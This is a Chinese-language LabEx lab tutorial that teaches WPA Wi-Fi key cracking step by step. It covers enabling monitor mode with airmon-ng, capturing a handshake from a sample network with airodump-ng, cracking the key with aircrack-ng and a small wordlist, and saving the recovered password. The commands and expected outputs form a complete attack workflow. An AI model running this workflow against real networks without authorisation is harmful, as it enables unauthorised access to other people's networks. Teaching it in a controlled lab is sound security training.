介绍
在这个实验中,你将学习使用 Kali Linux 和 Aircrack-ng 工具集在 LabEx 虚拟机(VM)环境中进行无线渗透测试的基础知识。重点是理解评估无线网络安全性的关键技术。你将练习在无线接口上启用监听模式(monitor mode),捕获 WPA 握手包,破解 WPA 密钥,并保存结果以供文档记录。本实验专为初学者设计,在受控环境中提供逐步指导,以建立无线安全测试的基础技能。当你打开终端时,你将自动连接到 Kali Linux 容器的 shell,准备开始练习。
在这个实验中,你将学习使用 Kali Linux 和 Aircrack-ng 工具集在 LabEx 虚拟机(VM)环境中进行无线渗透测试的基础知识。重点是理解评估无线网络安全性的关键技术。你将练习在无线接口上启用监听模式(monitor mode),捕获 WPA 握手包,破解 WPA 密钥,并保存结果以供文档记录。本实验专为初学者设计,在受控环境中提供逐步指导,以建立无线安全测试的基础技能。当你打开终端时,你将自动连接到 Kali Linux 容器的 shell,准备开始练习。
在第一步中,你将在 LabEx 虚拟机环境中,Kali Linux 容器内设置无线渗透测试所需的工具。由于你打开终端时会自动连接到 Kali Linux 容器的 shell,因此无需手动启动容器或进入 shell。让我们从安装后续步骤所需的必备工具开始。
作为初学者,重要的是要理解 Kali Linux 是一个强大的安全测试发行版,但并非所有工具都在最小的容器设置中预先安装。我们将安装 aircrack-ng
,这是一套用于无线网络审计的工具,其中包括用于启用监听模式的 airmon-ng
、用于捕获数据包的 airodump-ng
和用于破解密钥的 aircrack-ng
等实用程序。
在终端中运行以下命令以更新软件包列表并安装 aircrack-ng
。在每个命令后按 Enter 键执行它:
apt update
apt install -y aircrack-ng
这些命令将刷新软件包存储库并安装 aircrack-ng
套件。安装可能需要几分钟,请等待其完成。
安装完成后,通过检查其版本来验证 aircrack-ng
是否已安装。键入以下命令并按 Enter 键:
aircrack-ng --version
预期的输出将显示 aircrack-ng
的版本,确认该工具已准备好使用。它可能看起来像这样:
Aircrack-ng 1.7
此步骤确保 Kali Linux 容器中所有必要的工具都可用于无线测试。通过安装 aircrack-ng
,你已经为在后续步骤中启用监听模式和捕获无线流量做好了准备。在继续之前,请确保安装成功完成。
现在你已经安装了必要的工具,让我们继续在 Kali Linux 容器内的无线网络接口上启用监听模式。监听模式对于无线渗透测试至关重要,因为它允许你的无线网卡捕获网络流量,而无需连接到任何网络。
对于初学者来说,可以将监听模式想象成将你的无线网卡变成一个被动的监听者。通常,在“管理模式”(managed mode)下,网卡仅捕获发给它的流量。在监听模式下,它会捕获所有附近的无线流量,这对于 aircrack-ng
等工具分析数据和识别漏洞至关重要。
由于你已经在 Kali Linux 容器的 shell 中(打开终端时自动连接),让我们从识别无线接口开始。键入以下命令并按 Enter 键列出所有网络接口:
iwconfig
预期的输出将显示一个网络接口列表。查找无线接口,通常命名为 wlan0
或类似名称。在本实验环境中,假设接口是 wlan0
。输出可能如下所示:
wlan0 IEEE 802.11 ESSID:off/any
Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:off
接下来,使用 airmon-ng
工具在 wlan0
接口上启用监听模式,该工具是之前安装的 aircrack-ng
套件的一部分。运行以下命令并按 Enter 键:
airmon-ng start wlan0
预期的输出将指示监听模式已启用,并且接口名称可能更改为 wlan0mon
。它可能看起来像这样:
Interface wlan0 is now in monitor mode as wlan0mon.
如果出现关于干扰进程的任何警告,该工具可能会建议终止它们。在本实验环境中,为了简单起见,假设不存在此类冲突。
最后,通过运行以下命令并按 Enter 键来验证监听模式是否处于活动状态:
iwconfig
预期的输出应该显示处于监听模式的接口(例如,wlan0mon
),如下所示:
wlan0mon IEEE 802.11 Mode:Monitor Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:off
这确认了监听模式已成功启用。你现在已经准备好无线接口来捕获流量,这是在下一步捕获 WPA 握手包之前的关键步骤。在继续之前,请确保模式设置为 Monitor
。
在你的无线接口上启用监听模式后,下一步是使用 Kali Linux 容器内的 airodump-ng
工具捕获 WPA 握手包。当设备连接到 Wi-Fi 网络时,会交换一组数据包,即 WPA 握手包,捕获它允许我们在后续步骤中尝试破解密码。
对于初学者来说,要理解 WPA 握手包并不直接包含密码,而是包含可以离线分析以猜测密码的加密数据。此过程仅在受控的实验环境或在真实网络上获得明确许可的情况下才是合乎道德的。在本实验中,我们将在安全的环境中模拟捕获握手包。
由于你已经在 Kali Linux 容器的 shell 中(打开终端时自动连接),让我们开始捕获无线流量。运行以下命令并按 Enter 键开始监视 wlan0mon
接口上的所有附近网络:
airodump-ng wlan0mon
预期的输出将显示附近 Wi-Fi 网络的实时表格,显示诸如 BSSID
(接入点 MAC 地址)、ESSID
(网络名称)、CH
(信道)和加密类型等详细信息。它可能看起来像这样:
CH 6 ][ Elapsed: 1 min ][ 2023-10-01 12:00
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:14:22:AB:CD:EF -30 10 5 0 6 54 WPA2 CCMP PSK TestNetwork
让它运行几秒钟以观察网络,然后按 Ctrl+C
停止它。对于本实验,假设你已经识别出一个目标网络,其 ESSID
为 TestNetwork
,BSSID
为 00:14:22:AB:CD:EF
,并且在信道 6
上运行。
现在,专注于捕获此特定网络的流量以获取 WPA 握手包。运行以下命令并按 Enter 键以目标网络为目标,并将捕获的数据保存到 /root
目录中名为 handshake
的文件中:
airodump-ng --bssid 00:14:22:AB:CD:EF --channel 6 -w /root/handshake wlan0mon
在此命令中,--bssid
指定目标网络的 MAC 地址,--channel
设置要监听的信道,而 -w /root/handshake
将数据保存到文件中。预期的输出将显示特定于目标网络的流量。如果捕获到握手包,你可能会在输出的右上角看到 [ WPA handshake: 00:14:22:AB:CD:EF ]
。对于本实验,假设在几秒钟后捕获到握手包。按 Ctrl+C
停止捕获。
通过列出 /root
目录的内容来验证捕获的文件是否已保存。运行以下命令并按 Enter 键:
ls -l /root
预期的输出应包括一个名为 handshake-01.cap
(或类似名称)的文件,如下所示:
-rw-r--r-- 1 root root 12345 Oct 1 12:05 handshake-01.cap
这确认了捕获的数据已保存。你现在已经成功捕获了 WPA 握手包,它将在下一步中用于尝试破解 WPA 密钥。在继续之前,请确保该文件存在。
在之前的步骤中捕获了 WPA 握手包后,你现在已经准备好使用 Kali Linux 容器内的 aircrack-ng
工具尝试破解 WPA 密钥。此过程涉及使用来自单词列表的潜在密码,针对捕获的握手数据进行测试,以找到正确的密钥。
对于初学者来说,破解 WPA 密钥意味着使用可能的密码列表(称为单词列表)通过将其与握手包中的加密数据进行比较来猜测正确的密码。这是一个离线过程,这意味着它在尝试期间不会与目标网络交互。在本实验中,我们将使用一个小的样本单词列表进行演示。
由于你已经在 Kali Linux 容器的 shell 中(打开终端时自动连接),让我们在 /root
目录中创建一个简单的单词列表文件。运行以下命令并按 Enter 键打开 nano
编辑器并创建一个名为 wordlist.txt
的文件:
nano /root/wordlist.txt
在 nano
编辑器中,键入以下示例密码,每行一个:
password123
testwifi
admin123
按 Ctrl+O
保存文件,然后按 Enter
写入文件,最后按 Ctrl+X
退出 nano
。此操作将没有输出,但现在已创建该文件。
通过列出 /root
目录的内容来验证单词列表文件是否存在。运行以下命令并按 Enter 键:
ls -l /root
预期的输出应包括 wordlist.txt
,如下所示:
-rw-r--r-- 1 root root 30 Oct 1 12:10 wordlist.txt
现在,使用 aircrack-ng
尝试使用捕获的握手包和单词列表破解 WPA 密钥。运行以下命令并按 Enter 键,使用上一步的 BSSID
和文件的路径:
aircrack-ng -w /root/wordlist.txt -b 00:14:22:AB:CD:EF /root/handshake-01.cap
在此命令中,-w
指定单词列表文件,-b
指定目标网络的 BSSID
,最后一个参数是握手文件的路径。预期的输出将显示该工具测试来自单词列表的密码。如果成功,它将显示找到的密钥,如下所示:
KEY FOUND! [ testwifi ]
如果未找到密钥,它将指示所有密码都已测试但未成功。对于本实验,假设找到了密码 testwifi
。该过程可能需要几秒钟才能完成。
你现在已经尝试使用 aircrack-ng
破解 WPA 密钥。在下一步中,你将保存此结果以供文档使用。在继续之前,请确保在输出中看到密钥。
在最后一步中,你将把上一步中破解的 WPA 密钥保存到 Kali Linux 容器内的文本文件中,以用于文档记录。保存密钥可确保你拥有你的发现记录,这在渗透测试中是一个很好的做法,以便将来参考或报告。
对于初学者来说,记录结果(如破解的密钥)对于跟踪你的工作非常重要。此步骤涉及创建一个简单的文本文件来存储密钥和相关的网络信息。这是一个使用终端中的基本文件操作的直接过程。
由于你已经在 Kali Linux 容器的 shell 中(打开终端时自动连接),让我们在 /root
目录中创建一个名为 cracked_keys.txt
的文件来存储密钥。运行以下命令并按 Enter 键打开 nano
编辑器:
nano /root/cracked_keys.txt
在 nano
编辑器中,键入有关破解密钥的以下详细信息,如果与上一步中找到的实际密码不同,请将 testwifi
替换为实际密码:
Network: TestNetwork
BSSID: 00:14:22:AB:CD:EF
Password: testwifi
Date: 2023-10-01
按 Ctrl+O
保存文件,然后按 Enter
写入文件,最后按 Ctrl+X
退出 nano
。此操作将没有输出,但现在已创建该文件。
通过列出 /root
目录的内容来验证文件是否已保存。运行以下命令并按 Enter 键:
ls -l /root
预期的输出应包括 cracked_keys.txt
,如下所示:
-rw-r--r-- 1 root root 85 Oct 1 12:15 cracked_keys.txt
为了确保内容正确,通过运行以下命令并按 Enter 键来显示文件的内容:
cat /root/cracked_keys.txt
预期的输出将显示你输入的文本,如下所示:
Network: TestNetwork
BSSID: 00:14:22:AB:CD:EF
Password: testwifi
Date: 2023-10-01
这确认了破解的密钥已成功保存。你现在已经完成了记录你的发现的过程,这结束了本实验中的无线渗透测试工作流程。在完成之前,请确保文件内容正确。
在本实验中,你学习了使用 Kali Linux 和 Aircrack-ng 工具集在 LabEx VM 环境中进行无线渗透测试的基本步骤。你首先安装了必要的工具,如 aircrack-ng
,然后在无线接口上启用了监听模式以捕获网络流量。之后,你捕获了 WPA 握手包,尝试使用单词列表破解 WPA 密钥,最后保存了破解的密钥以供文档记录。这些步骤为理解无线安全测试以及在受控环境中保护网络免受此类漏洞的影响奠定了坚实的基础。